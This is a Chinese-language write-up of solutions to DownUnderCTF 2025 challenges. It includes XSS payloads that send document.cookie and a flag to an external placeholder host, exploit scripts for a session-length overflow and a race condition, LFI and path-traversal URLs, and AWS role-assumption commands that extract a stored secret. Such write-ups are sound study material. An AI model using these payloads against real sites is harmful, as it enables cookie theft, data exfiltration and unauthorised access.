DownUnderCTF 2025 wp
前言
时间充裕,所以输出还行
整体题目难的很难,简单的又挺简单
Sweet Treat
admin/review这里没过滤,只要设置profile为payload
<div class="profile-card">
<h4>Username: <%= reportedUser %></h4>
<div class="about-label">Reported At:</div>
<div class="about-content"><%= reportTime %></div>
<div class="about-label">About Me:</div>
<div class="about-content"><%= (aboutMe != null && !aboutMe.isEmpty()) ? aboutMe : "No about me section provided." %></div>
</div>
admin访问就会XSS,但是可惜设置了cookies http only
Cookie flag = new Cookie("flag", "DUCTF{FAKE_FLAG}");
flag.setPath("/");
flag.setHttpOnly(true);
response.addCookie(flag);
设置profile为
<script>
fetch('/admin/admin.jsp', {
method: 'POST',
body: new URLSearchParams('upd_username=admin&upd_password=1&action=update_user')
});
</script>
admin访问后可以重置admin密码,但是没用
分析一下,只有页面有地方会显示cookies才有可能获取到flag
只有一个地方,language
String lang = "en";
Cookie[] cookies = request.getCookies();
if (cookies != null) {
for (Cookie c : cookies) {
if ("language".equals(c.getName())) {
lang = c.getValue();
}
}
}
<!DOCTYPE html>
<html lang="<%= lang %>">
如果能让获取cookies的时候,jsp出错,获取到类似
language="en;flag=flag{};flag1=1" 的cookies即可
参考:
Stealing HttpOnly cookies with the cookie sandwich technique | PortSwigger Research
当前环境能使用这种方法,但是要确保cookies按照我想要的顺序来排列
已知/path为具体的值比/要靠前,剩下的自己测试一下就行
接下来只要把这条路径转换成payload,用script包裹发送即可
document.cookie = '$Version=1; path=/index.jsp';
document.cookie = 'language="e; path=/index.jsp';
document.cookie = 'flag1=n"; path=/';
fetch('/index.jsp', {
credentials: 'include'
})
.then(response => {
return response.text();
})
.then(content => {
console.log( content);
const flagRegex = /DUCTF\\{(.*?)\\}/;
const match = content.match(flagRegex);
if (match && match[0]) {
const foundFlag = match[0];
const targetURL = '<http://xxx>';
const data = new URLSearchParams();
data.append('flag', foundFlag);
fetch(targetURL, {
method: 'POST',
body: data,
headers: {
'Content-Type': 'application/x-www-form-urlencoded'
}
})
.then(response => {
if (!response.ok) {
console.error(response.status);
} else {
console.log('send');
}
})
.catch(error => {
console.error(error);
});
} else {
console.log('no flag');
}
})
.catch(error => {
console.error(error);
});
gomail
题目提供登录和查看邮件功能
登录时如果邮箱不存在会照常生成session,如果包含管理员邮箱而且密码错误则会改为guest
session无法修改因为有签名校验
考虑让email长度溢出
session的构建是二字节的email长度+email+时间戳+f/t
当email大于65535会造成溢出,长度重置
例如
[*] 解压后的 Token 数据: b'\\x02\\x00AAAAAAAAAAAAAAAAAAAA'
也就可以通过控制email来控制解析出的数据
当构建email为[email protected]且刚好解析16位即可获取flag
至于时间戳,如果是八字节的t应该解析出来也是超过了当前时间的(
最终payload
import requests
import struct
import time
import re
import base64
import gzip
BASE_URL = "<https://web-gomail-3f344244ceb2.2025-us.ductf.net>"
def main():
email_p = "t"*(65535-6 + 7)
email_admin = "[email protected]"
email = email_admin + email_p
password = "1"
json_body = {
"email": email,
"password": password
}
r = requests.post(f"{BASE_URL}/login", json=json_body)
response_json = r.json()
token = response_json.get("token")
if not token:
print("[!] 登录失败")
print(f" 响应: {r.text}")
return
part = token.split(".")
base = part[0]
raw =base64.urlsafe_b64decode(base)
raw = gzip.decompress(raw)
print(f"[*] 解压后的 Token 数据: {raw[:120]}")
value = struct.unpack("<H", raw[:2])[0]
print(f"[*]当前解析邮箱长度{value}")
email_headers = {
"X-Auth-Token": token
}
print("\\n[*]获取邮件...")
r_emails = requests.get(f"{BASE_URL}/emails", headers=email_headers)
print(r_emails.text)
if __name__ == "__main__":
main()
mini-me
观察源码,能发现提示test-main.min.js.map,访问
<https://web-mini-me-ab6d19a7ea6e.2025.ductf.net/static/js/test-main.min.js.map>
能拿到一个map文件,逆向回js
function pingMailStatus() {
fetch("/api/mail/status");
}
function fetchInboxPreview() {
fetch("/api/mail/inbox?limit=5");
}
pingMailStatus();
fetchInboxPreview();
document.getElementById("start-btn")?.addEventListener("click", () => {
const audio = document.getElementById("balletAudio");
audio.play();
document.getElementById("start-btn").style.display = "none";
document.getElementById("audio-warning").style.display = "none";
const dancer = document.getElementById("dancer");
const dancerImg = document.getElementById("dancer-img"); // Get the image element
dancer.style.display = "block";
dancerImg.style.display = "block"; // Show the image
let angle = 0;
const radius = 100;
const centerX = window.innerWidth / 2;
const centerY = window.innerHeight / 2;
function animate() {
angle += 0.05;
const x = centerX + radius * Math.cos(angle);
const y = centerY + radius * Math.sin(angle);
dancer.style.left = x + "px";
dancer.style.top = y + "px";
dancerImg.style.left = x + "px"; // Sync image movement
dancerImg.style.top = y + "px";
requestAnimationFrame(animate);
}
animate();
});
function qyrbkc() {
const xtqzp = ["85"], vmsdj = ["87"], rlfka = ["77"], wfthn = ["67"], zdqo = ["40"], yclur = ["82"],
bpxmg = ["82"], hkfav = ["70"], oqzdu = ["78"], nwtjb = ["39"], sgfyk = ["95"], utxzr = ["89"],
jvmqa = ["67"], dpwls = ["73"], xaogc = ["34"], eqhvt = ["68"], mfzoj = ["68"], lbknc = ["92"],
zpeds = ["84"], cvnuy = ["57"], ktwfa = ["70"], xdglo = ["87"], fjyhr = ["95"], vtuze = ["77"], awphs = ["75"];
const dhgyvu = [xtqzp[0], vmsdj[0], rlfka[0], wfthn[0], zdqo[0], yclur[0],
bpxmg[0], hkfav[0], oqzdu[0], nwtjb[0], sgfyk[0], utxzr[0],
jvmqa[0], dpwls[0], xaogc[0], eqhvt[0], mfzoj[0], lbknc[0],
zpeds[0], cvnuy[0], ktwfa[0], xdglo[0], fjyhr[0], vtuze[0], awphs[0]];
const lmsvdt = dhgyvu.map((pjgrx, fkhzu) =>
String.fromCharCode(
Number(pjgrx) ^ (fkhzu + 1) ^ 0
)
).reduce((qdmfo, lxzhs) => qdmfo + lxzhs, "");
console.log("Note: Key is now secured with heavy obfuscation, should be safe to use in prod :)");
}
ai逆向一下即可
dhgyvu = [85, 87, 77, 67, 40, 82, 82, 70, 78, 39, 95, 89, 67, 73, 34, 68, 68, 92, 84, 57, 70, 87, 95, 77, 75]
key = "".join([chr(num ^ (i + 1)) for i, num in enumerate(dhgyvu)])
print(f"计算出的 API 密钥是: {key}")
TUNG-TUNG-TUNG-TUNG-SAHUR
发送即可拿到flag
mutant
这题还拿了三血
其实跟之前bi0s的一道题很像,都是删除属性,但是通过form加input绕过, autofocus加tabindex=-1自动聚焦然后XSS
<form onfocus=fetch("https://xxx/flag="+document.cookie) autofocus tabindex=-1><input id=attributes></form>stonks
/change-currency存在条件竞争
Session 1先将余额单位设为GBP,然后Session 2将余额单位设为IDR,这样全局余额单位为IDR,但Session 1的会话货币仍为GBP
Session 1访问/are-you-rich,计算方式为余额 / GBP汇率 ,进而增加余额
import requests
import threading
from time import sleep
BASE_URL = "<https://beginner-stonks-a0c8e158ea33.2025.ductf.net>"
USER = "enoch12121"
PASSWORD = "password"
def register_user():
data = {
"username": USER,
"password": PASSWORD,
"confirm_password": PASSWORD
}
response = requests.post(f"{BASE_URL}/register", data=data, allow_redirects=False)
return response.status_code == 302
def login_session(session):
data = {"username": USER, "password": PASSWORD}
response = session.post(f"{BASE_URL}/login", data=data, allow_redirects=False)
return response.status_code == 302
def change_currency(session, currency):
session.post(f"{BASE_URL}/change-currency", data={"currency": currency})
def trigger_race():
sess1 = requests.Session()
sess2 = requests.Session()
assert login_session(sess1) and login_session(sess2), "登录失败"
t1 = threading.Thread(target=change_currency, args=(sess1, "GBP"))
t2 = threading.Thread(target=change_currency, args=(sess2, "IDR"))
t1.start()
sleep(0.05)
t2.start()
t1.join()
t2.join()
response = sess1.get(f"{BASE_URL}/are-you-rich")
if "YES YOU ARE!" in response.text:
print(response.text.split("FLAG")[1])
return True
print( response.text)
return False
def reset_currency(session):
change_currency(session, "AUD")
register_user()
session = requests.Session()
login_session(session)
for _ in range(30000):
if not trigger_race():
reset_currency(session)
else:
break
philtered
禁用黑名单,设置config[data_folder] 为空,最后设置path即可
https://web-philtered-0a2005e5b9bf.2025-us.ductf.net/index.php?allow_unsafe=1&config[data_folder]=&config[path]=php://filter/convert.base64-encode/resource=flag.php
kick the bucket
只需要加一个User-Agent即可拿到flag
curl -H "User-Agent: aws-sdk-go/1.4https://kickme-95f596ff5b61453187fbc1c9faa3052e.s3.us-east-1.amazonaws.com/flag.txt?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=AKIAXC42U7VJ7MRP6INU%2F20250715%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20250715T124755Z&X-Amz-Expires=604800&X-Amz-SignedHeaders=host&X-Amz-Signature=6cefb6299d55fb9e2f97e8d34a64ad8243cdb833e7bdf92fc031d57e96818d9b"
DUCTF{youtube.com/watch?v=A20QQSZsv4E}secure email attachments
利用源码中对/attachments的删除即可绕过对..的过滤
http://chal.2025-us.ductf.net:30014/./attachments././attachments./.%2Fattachments./etc/flag.txtNetwork Disk Forensics
apt install nbd-client
modprobe nbd
nbd-client -N root chal.2025.ductf.net 30016 /dev/nbd1
mkdir /mnt/challenge
mount /dev/nbd1 /mnt/challenge
网络原因可能会导致挂载卡住,多试几次即可
然后访问/mnt/challenge/flag.jpg
Mary had a little lambda
考aws的基础使用
看函数
{
"Functions": [
{
"FunctionName": "yakbase",
"FunctionArn": "arn:aws:lambda:us-east-1:487266254163:function:yakbase",
"Runtime": "python3.13",
"Role": "arn:aws:iam::487266254163:role/lambda_role",
"Handler": "yakbase.lambda_handler",
"CodeSize": 623,
"Description": "",
"Timeout": 30,
"MemorySize": 128,
"LastModified": "2025-07-14T12:42:45.148+0000",
"CodeSha256": "TJjcu+uixucgk+66VOvlNYdT4ifRe6bgdAQxWujMwVM=",
"Version": "$LATEST",
"TracingConfig": {
"Mode": "PassThrough"
},
"RevisionId": "6e45ccea-697d-4cd8-b606-67577b601b0b",
"Layers": [
{
"Arn": "arn:aws:lambda:us-east-1:487266254163:layer:main-layer:1",
"CodeSize": 689581
}
],
"PackageType": "Zip",
"Architectures": [
"x86_64"
],
"EphemeralStorage": {
"Size": 512
},
"SnapStart": {
"ApplyOn": "None",
"OptimizationStatus": "Off"
},
"LoggingConfig": {
"LogFormat": "Text",
"LogGroup": "/aws/lambda/yakbase"
}
}
]
}
获取这个函数的代码(解压zip)
<https://prod-04-2014-tasks.s3.us-east-1.amazonaws.com/snapshots/487266254163/yakbase-f70d7c3a-5267-425f-8ed2-4c7a9497db04?versionId=AWtrEWcqRUhNouC7YHffyafILNKu2lrj&X-Amz-Security-Token=IQoJb3JpZ2luX2VjEIL%2F%2F%2F%2F%2F%2F%2F%2F%2F%2FwEaCXVzLWVhc3QtMSJIMEYCIQCErLE6wvSvT6htofGKDrolOcjsjxX3zON6Gi254zBbiwIhAPEomA09Ak54aEfWvyydP8TwbnJmaBRpNni17gaVYyuJKpICCJr%2F%2F%2F%2F%2F%2F%2F%2F%2F%2FwEQABoMNzQ5Njc4OTAyODM5IgyvWM82ji6lMf%2F7BQsq5gE70QWdJX%2BGiIRxusMrjql9Moka6GVaDE%2F2vcegYW7H4bLaDoSCssBjm2Jwv%2F1PN7oQIDengkshCghvQ2x9gb4Eiq%2BlsRFIFESMCdH7gEfwrXvGeJzdEHmLu%2B5wEbcQpJb5Gli8bWBwaXd%2FNQ5sPJ36Yg82qOxkLtNuje49mxpTngaIZ5VwdfdADMAdTmEm2hTfIB1BDAAV21v%2BbkM29T0U1fscdHyFlwhQjXN1V5Mu96gkEy7z6SR6UmkqEEiG%2BBHwiUtaXM8P9OUhLSRO%2FYbU3kTJbVZFWRb9YWaGBSW%2BaVQEp5%2B63TCp3%2BvDBjqOAeYqKK5VdHNwIiUWi%2Bl0q8InK1iIIIl1WkIQ11hQ7%2BoqkJh04l1fW9%2F1i%2F3feiV649NlHcJgg9LsH%2F%2Fq%2FWWaNiiF1eG%2FqTrmkyrEjD4BeyDeNL27z5ATMrQmB5NzyvE6lBkKEQdoJDNRguoGEi9svwTxh1Zzq6Sojv9YPTMfuz0qCbYsz37smDeTmtJRVeU%3D&X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Date=20250719T081350Z&X-Amz-SignedHeaders=host&X-Amz-Expires=600&X-Amz-Credential=ASIA25DCYHY33GYB464O%2F20250719%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Signature=9efea871042cf892d1a416d1e1fd2133ec7c84ed37abc94514e8692e68941433>
import os
import json
import logging
import boto3
import mysql.connector
logger = logging.getLogger()
logger.setLevel(logging.INFO)
def lambda_handler(event, context):
session = boto3.Session()
ssm = session.client('ssm')
dbpass = ssm.get_parameter(Name="/production/database/password", WithDecryption=True)['Parameter']['Value']
mydb = mysql.connector.connect(
host="10.10.1.1",
user="dbuser",
password=dbpass,
database="BovineDb"
)
cursor = mydb.cursor()
cursor.execute("SELECT * FROM bovines")
results = cursor.fetchall()
# For testing without the DB!
#results = [(1, 'Yak', 'Hairy', False),(2, 'Bison', 'Large', True)]
numresults = len(results)
response = f"Database contains {numresults} bovines."
logger.info(response)
return {
'statusCode' : 200,
'body': response
}
注意到/production/database/password
直接拿没权限,要获取lambda_role
aws sts assume-role --role-arn "arn:aws:iam::487266254163:role/lambda_role" --role-session-name "YakAdminSession"
返回一套凭证,命令行设置一下
set AWS_ACCESS_KEY_ID=
set AWS_SECRET_ACCESS_KEY=
set AWS_SESSION_TOKEN=
最后aws ssm get-parameter --name "/production/database/password" --with-decryption --region us-east-1
{
"Parameter": {
"Name": "/production/database/password",
"Type": "SecureString",
"Value": "DUCTF{.*#--BosMutusOfTheTibetanPlateau--#*.}",
"Version": 1,
"LastModifiedDate": "2025-07-14T20:42:32.390000+08:00",
"ARN": "arn:aws:ssm:us-east-1:487266254163:parameter/production/database/password",
"DataType": "text"
}
}
fat donke diss
这个视频 0:52出现了flag,只是有点不清晰